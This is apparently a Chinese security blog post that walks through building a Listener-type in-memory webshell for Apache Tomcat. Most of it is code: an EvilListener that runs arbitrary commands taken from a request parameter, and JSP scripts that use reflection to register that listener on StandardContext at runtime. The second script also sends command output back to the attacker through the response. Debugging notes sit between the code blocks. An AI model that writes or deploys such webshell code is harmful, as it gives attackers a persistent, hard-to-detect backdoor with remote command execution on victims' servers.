Java内存马-Listener

准备

先了解一下listener

监听器接口 作用
ServletContextListener Web应用初始化/销毁时执行(应用生命周期)
HttpSessionListener 会话创建/销毁(登录等)
ServletRequestListener 每次请求开始/结束触发
ServletContextAttributeListener 监听 context 属性变化
HttpSessionAttributeListener 监听 session 属性变化
ServletRequestAttributeListener 监听 request 属性变化

通常渗透中最常用的是:

  • ServletRequestListener:每个请求都会触发一次;
  • ServletContextListener:Web 应用启动阶段触发一次,非常适合注入。

listener内存马

package memshell;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.InputStream;

@WebListener
public class EvilListener implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        try {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
            String cmd = request.getParameter("cmd3");
            if (cmd != null) {
                Process p = Runtime.getRuntime().exec(cmd);
                InputStream in = p.getInputStream();
                int ch;
                while ((ch = in.read()) != -1) {
                    sre.getServletRequest().getServletContext().log(String.valueOf((char) ch));
                }
                in.close();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        // 不处理
    }
}

以上是注解注册,也可web.xml注册

<listener>
    <listener-class>your.package.EvilListener</listener-class>
</listener>

debug

开始debug

往上跟一步,这里很清晰

image-20250504013607804

跟进getApplicationEventListeners(),这个函数是org/apache/catalina/core/StandardContext.java的

image-20250504013659237

是从这个字段拿到listener

image-20250504013726084

跟进add

image-20250504013755552

这里的入参是object,直接调这个函数即可

最简单的一集

编写脚本

无回显

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="memshell.EvilListener" %>
<%!
  public class EvilListener implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
      try {
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        String cmd = request.getParameter("cmd4");
        if (cmd != null) {
          Process p = Runtime.getRuntime().exec(cmd);
          InputStream in = p.getInputStream();
          int ch;
          while ((ch = in.read()) != -1) {
            sre.getServletRequest().getServletContext().log(String.valueOf((char) ch));
          }
          in.close();
        }
      } catch (Exception e) {
        e.printStackTrace();
      }
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
      // 不处理
    }
  }
%>

<%
  try {
    // 获取 servletContext 对象
    ServletContext servletContext = request.getSession().getServletContext();

    // 通过反射获取 ApplicationContext(org.apache.catalina.core.ApplicationContext)
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    // 通过 ApplicationContext 获取 StandardContext(代表当前 webapp)
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    standardContext.addApplicationEventListener(new EvilListener());

    out.println("Inject success.");
  } catch (Exception e) {
    e.printStackTrace();
  }
%>

回显功能

listener型内存马ServletRequestEvent 只有 ServletRequest没有直接提供 ServletResponse,所以无法回显…吗?

当前环境是 TomcatServletRequestEvent 是监听器(Listener)触发时传进来的对象,它内部持有一个 ServletRequest 对象,在 Tomcat 下,这个对象的真实类型是 RequestFacade,RequestFacade里有response

下图是我们上面debug的第一个函数,调用ServletRequestEvent构造函数的地方传入的就是RequestFacade

image-20250504020136504

你可以通过反射从 request 对象中获取绑定的 response 对象。

image-20250504014749520

脚本

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="memshell.EvilListener" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%!
  public class EvilListener implements ServletRequestListener {

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
      try {
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        String cmd = request.getParameter("cmd4");

        if (cmd != null && !cmd.trim().isEmpty()) {
          // 1. 执行命令
          Process process = Runtime.getRuntime().exec(cmd);
          Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
          String output = scanner.hasNext() ? scanner.next() : "";

          // 2. 利用反射获取 response 对象
          Field reqF = request.getClass().getDeclaredField("request");
          reqF.setAccessible(true);
          Object innerRequest = reqF.get(request);

          Field respF = innerRequest.getClass().getDeclaredField("response");
          respF.setAccessible(true);
          Object response = respF.get(innerRequest);

          Method getWriter = response.getClass().getMethod("getWriter");
          PrintWriter writer = (PrintWriter) getWriter.invoke(response);

          // 3. 回显到页面
          writer.write(output);
          writer.flush();
          writer.close();
        }

      } catch (Exception e) {
        e.printStackTrace();
      }
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
      // 无需实现
    }
  }
%>

<%
  try {
    // 获取 servletContext 对象
    ServletContext servletContext = request.getSession().getServletContext();

    // 通过反射获取 ApplicationContext(org.apache.catalina.core.ApplicationContext)
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    // 通过 ApplicationContext 获取 StandardContext(代表当前 webapp)
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    standardContext.addApplicationEventListener(new EvilListener());

    out.println("Inject success.");
  } catch (Exception e) {
    e.printStackTrace();
  }
%>

image-20250504015049290

成功回显

image-20250504015059613

0%